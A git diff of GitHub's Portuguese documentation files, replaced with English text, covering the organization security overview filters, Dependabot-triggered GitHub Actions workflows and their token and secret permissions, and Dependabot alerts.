variables.product.prodname_code_scanning %} alerts. -![A visão geral de segurança de uma organização](/assets/images/help/organizations/security-overview.png) +![The security overview for an organization](/assets/images/help/organizations/security-overview.png) -Para cada repositório na visão de segurança, você verá ícones para cada tipo de recurso de segurança e quantos alertas existem de cada tipo. Se um recurso de segurança não estiver habilitado para um repositório, o ícone para esse recurso será cinza. +For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out. -![Ícones na visão geral de segurança](/assets/images/help/organizations/security-overview-icons.png) +![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png) -| Ícone | Significado | -| ------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {% octicon "code-square" aria-label="Code scanning alerts" %} | Alertas de {% data variables.product.prodname_code_scanning_capc %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning) | -| {% octicon "key" aria-label="Secret scanning alerts" %} | Alertas de {% data variables.product.prodname_secret_scanning_caps %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning) | -| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" | -| {% octicon "check" aria-label="Check" %} | O recurso de segurança está habilitado, mas não envia alertas neste repositório. | -| {% octicon "x" aria-label="x" %} | O recurso de segurança não é compatível com este repositório. | +| Icon | Meaning | +| -------- | -------- | +| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." | +| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." | +| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." | +| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. | +| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. | -Por padrão, os repositórios arquivados são excluídos da visão geral de segurança de uma organização. É possível aplicar filtros para visualizar repositórios arquivados na visão geral de segurança. Para obter mais informações, consulte "[Filtrar a lista de alertas](#filtering-the-list-of-alerts)". +By default, archived repositories are excluded from the security overview for an organization. You can apply filters to view archived repositories in the security overview. For more information, see "[Filtering the list of alerts](#filtering-the-list-of-alerts)." -A visão geral de segurança exibe alertas ativos criados por funcionalidades de segurança. Se não houver alertas na visão geral de segurança de um repositório, as vulnerabilidades de segurança não detectadas ou erros de código ainda poderão existir. +The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist. -## Visualizar a visão geral de segurança de uma organização +## Viewing the security overview for an organization -Os proprietários da organização podem ver a visão geral de segurança para uma organização. +Organization owners can view the security overview for an organization. {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.security-overview %} -1. Para visualizar informações agregadas sobre tipos de alertas, clique em **Mostrar mais**. ![Botão mostrar mais](/assets/images/help/organizations/security-overview-show-more-button.png) +1. To view aggregate information about alert types, click **Show more**. + ![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png) {% data reusables.organizations.filter-security-overview %} -## Visualizar a visão geral de segurança de uma equipe +## Viewing the security overview for a team -Os integrantes de uma equipe podem visualizar a visão geral de segurança dos repositórios para os quais a equipe tem privilégios de administrador. +Members of a team can see the security overview for repositories that the team has admin privileges for. {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} @@ -68,61 +69,70 @@ Os integrantes de uma equipe podem visualizar a visão geral de segurança dos r {% data reusables.organizations.team-security-overview %} {% data reusables.organizations.filter-security-overview %} -## Filtrar a lista de alertas +## Filtering the list of alerts -### Filtrar por nível de risco para repositórios +### Filter by level of risk for repositories -O nível de risco para um repositório é determinado pelo número e gravidade dos alertas de funcionalidades de segurança. Se uma ou mais funcionalidades de segurança não estiverem habilitadas para um repositório, o repositório terá um nível de risco desconhecido. Se um repositório não tiver riscos detectados por funcionalidades de segurança, o repositório terá um nível claro de risco. +The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. -| Qualifier | Descrição | -| -------------- | ----------------------------------------------------------------- | -| `risk:high` | Exibe repositórios que estão em alto risco. | -| `risk:medium` | Exibe repositórios que estão em risco médio. | -| `risk:low` | Exibe repositórios que estão em risco baixo. | -| `risk:unknown` | Exibir repositórios que estão com um nível de risco desconhecido. | -| `risk:clear` | Exibe repositórios que não tem um nível de risco identificado. | +| Qualifier | Description | +| -------- | -------- | +| `risk:high` | Display repositories that are at high risk. | +| `risk:medium` | Display repositories that are at medium risk. | +| `risk:low` | Display repositories that are at low risk. | +| `risk:unknown` | Display repositories that are at an unknown level of risk. | +| `risk:clear` | Display repositories that have no detected level of risk. | -### Filtrar por número de alertas +### Filter by number of alerts -| Qualifier | Descrição | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| code-scanning-alerts:n | Exibe repositórios que têm *n* alertas de {% data variables.product.prodname_code_scanning %}. Este qualificador pode usar os operadores > e < de comparação. | -| secret-scanning-alerts:n | Exibe repositórios que têm *n* alertas de {% data variables.product.prodname_secret_scanning %}. Este qualificador pode usar os operadores > e < de comparação. | -| dependabot-alerts:n | Exibir repositórios que têm *n* {% data variables.product.prodname_dependabot_alerts %}. Este qualificador pode usar os operadores > e < de comparação. | +| Qualifier | Description | +| -------- | -------- | +| code-scanning-alerts:n | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use > and < comparison operators. | +| secret-scanning-alerts:n | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use > and < comparison operators. | +| dependabot-alerts:n | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use > and < comparison operators. | -### Filtrar se as funcionalidades de segurança estão habilitadas +### Filter by whether security features are enabled -| Qualifier | Descrição | -| ------------------------------- | ---------------------------------------------------------------------------------------------------- | -| `enabled:code-scanning` | Exibe repositórios com {% data variables.product.prodname_code_scanning %} habilitado. | -| `not-enabled:code-scanning` | Exibe repositórios que não têm {% data variables.product.prodname_code_scanning %} habilitado. | -| `enabled:secret-scanning` | Exibe repositórios com {% data variables.product.prodname_secret_scanning %} habilitado. | -| `not-enabled:secret-scanning` | Exibe repositórios com {% data variables.product.prodname_secret_scanning %} habilitado. | -| `enabled:dependabot-alerts` | Exibe repositórios com {% data variables.product.prodname_dependabot_alerts %} habilitado. | -| `not-enabled:dependabot-alerts` | Exibe repositórios que não têm {% data variables.product.prodname_dependabot_alerts %} habilitado. | +| Qualifier | Description | +| -------- | -------- | +| `enabled:code-scanning` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. | +| `not-enabled:code-scanning` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. | +| `enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | +| `not-enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | +| `enabled:dependabot-alerts` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. | +| `not-enabled:dependabot-alerts` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. | -### Filtrar por tipo de repositório +### Filter by repository type -| Qualificador | Descrição | | -------- | -------- |{% ifversion fpt or ghes > 3.1 or ghec %} | `is:public` | Exibe repositórios públicos. |{% endif %} | `is:internal` | Exibe repositórios internos. | | `is:private` | Exibe repositórios privados. | | `archived:true` | Exibe repositórios arquivados. | +| Qualifier | Description | +| -------- | -------- | +{%- ifversion fpt or ghes > 3.1 or ghec %} +| `is:public` | Display public repositories. | +{% elsif ghes or ghec or ghae %} +| `is:internal` | Display internal repositories. | +{%- endif %} +| `is:private` | Display private repositories. | +| `archived:true` | Display archived repositories. | +| `archived:true` | Display archived repositories. | -### Filtrar por equipe +### Filter by team -| Qualifier | Descrição | -| ------------------------- | --------------------------------------------------------------------------------- | -| team:TEAM-NAME | Exibe os repositórios para os quais *TEAM-NAME* tem privilégios de administrador. | +| Qualifier | Description | +| -------- | -------- | +| team:TEAM-NAME | Displays repositories that *TEAM-NAME* has admin privileges for. | -### Filtrar por tópico +### Filter by topic -| Qualifier | Descrição | -| ------------------------- | ------------------------------------------------------------ | -| topic:TOPIC-NAME | Exibe repositórios que são classificados com o *TOPIC-NAME*. | +| Qualifier | Description | +| -------- | -------- | +| topic:TOPIC-NAME | Displays repositories that are classified with *TOPIC-NAME*. | -### Classificar a lista de alertas +### Sort the list of alerts -| Qualifier | Descrição | -| ----------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | -| `sort:risk` | Classifica os repositórios na visão geral de segurança por risco. | -| `sort:repos` | Classifica alfabeticamente pelo nome os repositórios na sua visão geral de segurança. | -| `sort:code-scanning-alerts` | Classifica os repositórios na visão geral de segurança por número de alertas de {% data variables.product.prodname_code_scanning %}. | -| `sort:secret-scanning-alerts` | Classifica os repositórios na visão geral de segurança por número de alertas de {% data variables.product.prodname_secret_scanning %}. | -| `sort:dependabot-alerts` | Classifica os repositórios na sua visão geral de segurança por número de {% data variables.product.prodname_dependabot_alerts %}. | +| Qualifier | Description | +| -------- | -------- | +| `sort:risk` | Sorts the repositories in your security overview by risk. | +| `sort:repos` | Sorts the repositories in your security overview alphabetically by name. | +| `sort:code-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_code_scanning %} alerts. | +| `sort:secret-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_secret_scanning %} alerts. | +| `sort:dependabot-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_dependabot_alerts %}. | diff --git a/translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md b/translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md index b62275e4e3..9d3a2c3ed5 100644 --- a/translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md +++ b/translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md @@ -28,24 +28,91 @@ shortTitle: Use Dependabot with actions ## Responding to events -{% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, due to ["GitHub Actions: Workflows triggered by Dependabot PRs will run with read-only permissions"](https://github.blog/changelog/2021-02-19-github-actions-workflows-triggered-by-dependabot-prs-will-run-with-read-only-permissions/), certain events are treated differently. +{% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, certain events are treated differently. For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, and `push` events, the following restrictions apply: -- `GITHUB_TOKEN` has read-only permissions. -- Secrets are inaccessible. +- {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` has read-only permissions, unless your administrator has removed restrictions.{% else %}`GITHUB_TOKEN` has read-only permissions by default.{% endif %} +- {% ifversion ghes = 3.3 %}Secrets are inaccessible, unless your administrator has removed restrictions.{% else %}Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available.{% endif %} For more information, see ["Keeping your GitHub Actions and workflows secure: Preventing pwn requests"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -{% ifversion ghes > 3.2 %} +{% ifversion fpt or ghec or ghes > 3.3 %} + +### Changing `GITHUB_TOKEN` permissions + +By default, {% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} get a `GITHUB_TOKEN` with read-only permissions. You can use the `permissions` key in your workflow to increase the access for the token: + +{% raw %} + +```yaml +name: CI +on: pull_request + +# Set the access for individual scopes, or use permissions: write-all +permissions: + pull-requests: write + issues: write + repository-projects: write + ... + +jobs: + ... +``` + +{% endraw %} + +For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)." + +### Accessing secrets + +When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)". + +{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)." + +If you have a workflow that will be triggered by {% data variables.product.prodname_dependabot %} and also by other actors, the simplest solution is to store the token with the permissions required in an action and in a {% data variables.product.prodname_dependabot %} secret with identical names. Then the workflow can include a single call to these secrets. If the secret for {% data variables.product.prodname_dependabot %} has a different name, use conditions to specify the correct secrets for different actors to use. For examples that use conditions, see "[Common automations](#common-dependabot-automations)" below. + +To access a private container registry on AWS with a user name and password, a workflow must include a secret for `username` and `password`. In the example below, when {% data variables.product.prodname_dependabot %} triggers the workflow, the {% data variables.product.prodname_dependabot %} secrets with the names `READONLY_AWS_ACCESS_KEY_ID` and `READONLY_AWS_ACCESS_KEY` are used. If another actor triggers the workflow, the actions secrets with those names are used. + +{% raw %} + +```yaml +name: CI +on: + pull_request: + branches: [ main ] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + - name: Login to private container registry for dependencies + uses: docker/login-action@v1 + with: + registry: https://1234567890.dkr.ecr.us-east-1.amazonaws.com + username: ${{ secrets.READONLY_AWS_ACCESS_KEY_ID }} + password: ${{ secrets.READONLY_AWS_ACCESS_KEY }} + + - name: Build the Docker image + run: docker build . --file Dockerfile --tag my-image-name:$(date +%s) +``` + +{% endraw %} + +{% endif %} + +{% ifversion ghes = 3.3 %} + {% note %} **Note:** Your site administrator can override these restrictions for {% data variables.product.product_location %}. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#troubleshooting-failures-when-dependabot-triggers-existing-workflows)." -If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to any secrets that are normally available. In addition, workflows triggered by {% data variables.product.prodname_dependabot %} can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. +If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to {% data variables.product.prodname_actions %} secrets and can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. You can ignore the specific steps in the "Handling `pull_request` events" and "Handling `push` events" sections, as it no longer applies. {% endnote %} -{% endif %} ### Handling `pull_request` events @@ -54,6 +121,7 @@ If your workflow needs access to secrets or a `GITHUB_TOKEN` with write permissi Below is a simple example of a `pull_request` workflow that might now be failing: {% raw %} + ```yaml ### This workflow now has no secrets and a read-only token name: Dependabot Workflow @@ -68,6 +136,7 @@ jobs: steps: - uses: actions/checkout@v2 ``` + {% endraw %} You can replace `pull_request` with `pull_request_target`, which is used for pull requests from forks, and explicitly check out the pull request `HEAD`. @@ -79,6 +148,7 @@ You can replace `pull_request` with `pull_request_target`, which is used for pul {% endwarning %} {% raw %} + ```yaml ### This workflow has access to secrets and a read-write token name: Dependabot Workflow @@ -99,6 +169,7 @@ jobs: ref: ${{ github.event.pull_request.head.sha }} github-token: ${{ secrets.GITHUB_TOKEN }} ``` + {% endraw %} It is also strongly recommended that you downscope the permissions granted to the `GITHUB_TOKEN` in order to avoid leaking a token with more privilege than necessary. For more information, see "[Permissions for the `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." @@ -110,6 +181,7 @@ As there is no `pull_request_target` equivalent for `push` events, you will have The first workflow performs any untrusted work: {% raw %} + ```yaml ### This workflow doesn't have access to secrets and has a read-only token name: Dependabot Untrusted Workflow @@ -123,11 +195,13 @@ jobs: steps: - uses: ... ``` + {% endraw %} The second workflow performs trusted work after the first workflow completes successfully: {% raw %} + ```yaml ### This workflow has access to secrets and a read-write token name: Dependabot Trusted Workflow @@ -147,8 +221,11 @@ jobs: steps: - uses: ... ``` + {% endraw %} +{% endif %} + ### Manually re-running a workflow You can also manually re-run a failed Dependabot workflow, and it will run with a read-write token and access to secrets. Before manually re-running a failed workflow, you should always check the dependency being updated to ensure that the change doesn't introduce any malicious or unintended behavior. @@ -157,15 +234,28 @@ You can also manually re-run a failed Dependabot workflow, and it will run with Here are several common scenarios that can be automated using {% data variables.product.prodname_actions %}. +{% ifversion ghes = 3.3 %} + +{% note %} + +**Note:** If your site administrator has overridden restrictions for {% data variables.product.prodname_dependabot %} on {% data variables.product.product_location %}, you can use `pull_request` instead of `pull_request_target` in the following workflows. + +{% endnote %} + +{% endif %} + ### Fetch metadata about a pull request A large amount of automation requires knowing information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update. The `dependabot/fetch-metadata` action provides all that information for you: +{% ifversion ghes = 3.3 %} + {% raw %} + ```yaml -name: Dependabot auto-label +name: Dependabot fetch metadata on: pull_request_target permissions: @@ -188,8 +278,42 @@ jobs: # - steps.dependabot-metadata.outputs.dependency-type # - steps.dependabot-metadata.outputs.update-type ``` + {% endraw %} +{% else %} + +{% raw %} + +```yaml +name: Dependabot fetch metadata +on: pull_request + +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + # The following properties are now available: + # - steps.metadata.outputs.dependency-names + # - steps.metadata.outputs.dependency-type + # - steps.metadata.outputs.update-type +``` + +{% endraw %} + +{% endif %} + For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository. ### Label a pull request @@ -198,7 +322,10 @@ If you have other automation or triage workflows based on {% data variables.prod For example, if you want to flag all production dependency updates with a label: +{% ifversion ghes = 3.3 %} + {% raw %} + ```yaml name: Dependabot auto-label on: pull_request_target @@ -224,13 +351,51 @@ jobs: env: PR_URL: ${{github.event.pull_request.html_url}} ``` + {% endraw %} +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-label +on: pull_request + +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Add a label for all production dependencies + if: ${{ steps.metadata.outputs.dependency-type == 'direct:production' }} + run: gh pr edit "$PR_URL" --add-label "production" + env: + PR_URL: ${{github.event.pull_request.html_url}} +``` + +{% endraw %} + +{% endif %} + ### Approve a pull request If you want to automatically approve Dependabot pull requests, you can use the {% data variables.product.prodname_cli %} in a workflow: +{% ifversion ghes = 3.3 %} + {% raw %} + ```yaml name: Dependabot auto-approve on: pull_request_target @@ -254,15 +419,51 @@ jobs: PR_URL: ${{github.event.pull_request.html_url}} GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} ``` + {% endraw %} +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-approve +on: pull_request + +permissions: + pull-requests: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Approve a PR + run: gh pr review --approve "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% endif %} + ### Enable auto-merge on a pull request If you want to auto-merge your pull requests, you can use {% data variables.product.prodname_dotcom %}'s auto-merge functionality. This enables the pull request to be merged when all required tests and approvals are successfully met. For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." Here is an example of enabling auto-merge for all patch updates to `my-dependency`: +{% ifversion ghes = 3.3 %} + {% raw %} + ```yaml name: Dependabot auto-merge on: pull_request_target @@ -288,15 +489,61 @@ jobs: PR_URL: ${{github.event.pull_request.html_url}} GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} ``` + {% endraw %} +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-merge +on: pull_request + +permissions: + pull-requests: write + contents: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Enable auto-merge for Dependabot PRs + if: ${{contains(steps.metadata.outputs.dependency-names, 'my-dependency') && steps.metadata.outputs.update-type == 'version-update:semver-patch'}} + run: gh pr merge --auto --merge "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% endif %} + ## Troubleshooting failed workflow runs If your workflow run fails, check the following: +{% ifversion ghes = 3.3 %} + - You are running the workflow only when the correct actor triggers it. - You are checking out the correct `ref` for your `pull_request`. - You aren't trying to access secrets from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. - You aren't trying to perform any `write` actions from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. +{% else %} + +- You are running the workflow only when the correct actor triggers it. +- You are checking out the correct `ref` for your `pull_request`. +- Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets. +- You have a `GITHUB_TOKEN` with the correct permissions. + +{% endif %} + For information on writing and debugging {% data variables.product.prodname_actions %}, see "[Learning GitHub Actions](/actions/learn-github-actions)." diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md index 6501437d25..4a20954bbf 100644 --- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md +++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md @@ -1,6 +1,6 @@ --- -title: Sobre alertas para dependências vulneráveis -intro: 'O {% data variables.product.product_name %} envia {% data variables.product.prodname_dependabot_alerts %} quando detectamos vulnerabilidades que afetam o seu repositório.' +title: About alerts for vulnerable dependencies +intro: '{% data variables.product.product_name %} sends {% data variables.product.prodname_dependabot_alerts %} when we detect vulnerabilities affecting your repository.' redirect_from: - /articles/about-security-alerts-for-vulnerable-dependencies - /github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies @@ -18,79 +18,77 @@ topics: - Vulnerabilities - Repositories - Dependencies -shortTitle: Alertas do Dependabot +shortTitle: Dependabot alerts --- - - -## Sobre as dependências vulneráveis +## About vulnerable dependencies {% data reusables.repositories.a-vulnerability-is %} -Quando o seu código depende de um pacote que tenha uma vulnerabilidade de segurança, essa dependência vulnerável pode causar uma série de problemas para o seu projeto ou para as pessoas que o usam. +When your code depends on a package that has a security vulnerability, this vulnerable dependency can cause a range of problems for your project or the people who use it. -## Detecção de dependências vulneráveis +## Detection of vulnerable dependencies {% data reusables.dependabot.dependabot-alerts-beta %} -{% data variables.product.prodname_dependabot %} detecta dependências vulneráveis e envia {% data variables.product.prodname_dependabot_alerts %} quando: +{% data variables.product.prodname_dependabot %} detects vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when: {% ifversion fpt or ghec %} -- Uma nova vulnerabilidade foi adicionada ao {% data variables.product.prodname_advisory_database %}. Para obter mais informações, consulte "[Pesquisar vulnerabilidades de segurança em {% data variables.product.prodname_advisory_database %}](/github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database)" e "[Sobre {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %} -- São sincronizados novos dados de consultoria com {% data variables.product.product_location %} a cada hora a partir de {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} -- O gráfico de dependências para alterações de repositório. Por exemplo, quando um colaborador faz push de um commit para alterar os pacotes ou versões de que depende{% ifversion fpt or ghec %} ou quando o código de uma das alterações das dependências{% endif %}. Para obter mais informações, consulte "[Sobre o gráfico de dependência](/code-security/supply-chain-security/about-the-dependency-graph)". +- A new vulnerability is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security vulnerabilities in the {% data variables.product.prodname_advisory_database %}](/github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database)" and "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %} +- New advisory data is synchronized to {% data variables.product.product_location %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} +- The dependency graph for a repository changes. For example, when a contributor pushes a commit to change the packages or versions it depends on{% ifversion fpt or ghec %}, or when the code of one of the dependencies changes{% endif %}. For more information, see "[About the dependency graph](/code-security/supply-chain-security/about-the-dependency-graph)." {% data reusables.repositories.dependency-review %} -Para obter uma lista dos ecossistemas para os quais o {% data variables.product.product_name %} pode detectar vulnerabilidades e dependências, consulte "[Ecossistemas de pacotes compatíveis](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)". +For a list of the ecosystems that {% data variables.product.product_name %} can detect vulnerabilities and dependencies for, see "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." {% note %} -**Observação:** É importante manter seus manifestos atualizados e seu arquivos bloqueados. Se o gráfico de dependências não refletir corretamente suas dependências e versões atuais, você poderá perder alertas para dependências vulneráveis que você usar. Você também pode receber alertas de dependências que você já não usa. +**Note:** It is important to keep your manifest and lock files up to date. If the dependency graph doesn't accurately reflect your current dependencies and versions, then you could miss alerts for vulnerable dependencies that you use. You may also get alerts for dependencies that you no longer use. {% endnote %} -## Alertas do {% data variables.product.prodname_dependabot %} para dependências vulneráveis +## {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies {% data reusables.repositories.enable-security-alerts %} -{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detecta dependências vulneráveis em repositórios _públicos_ e gera {% data variables.product.prodname_dependabot_alerts %} por padrão. Os proprietários de repositórios privados ou pessoas com acesso de administrador, podem habilitar o {% data variables.product.prodname_dependabot_alerts %} ativando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} para seus repositórios. +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detects vulnerable dependencies in _public_ repositories and generates {% data variables.product.prodname_dependabot_alerts %} by default. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories. -Você também pode habilitar ou desabilitar {% data variables.product.prodname_dependabot_alerts %} para todos os repositórios pertencentes à sua conta de usuário ou organização. Para mais informações consulte "[Gerenciar as configurações de segurança e análise da sua conta de usuário](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)" ou "[Gerenciar as configurações de segurança e análise da sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)". +You can also enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -Para obter informações sobre os requisitos de acesso para ações relacionadas a {% data variables.product.prodname_dependabot_alerts %}, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)". +For information about access requirements for actions related to {% data variables.product.prodname_dependabot_alerts %}, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)." -{% data variables.product.product_name %} começa a gerar o gráfico de dependências imediatamente e gera alertas para quaisquer dependências vulneráveis assim que forem identificadas. O gráfico geralmente é preenchido em minutos, mas isso pode levar mais tempo para repositórios com muitas dependências. Para obter mais informações, consulte "[Gerenciando configurações do uso de dados de seu repositório 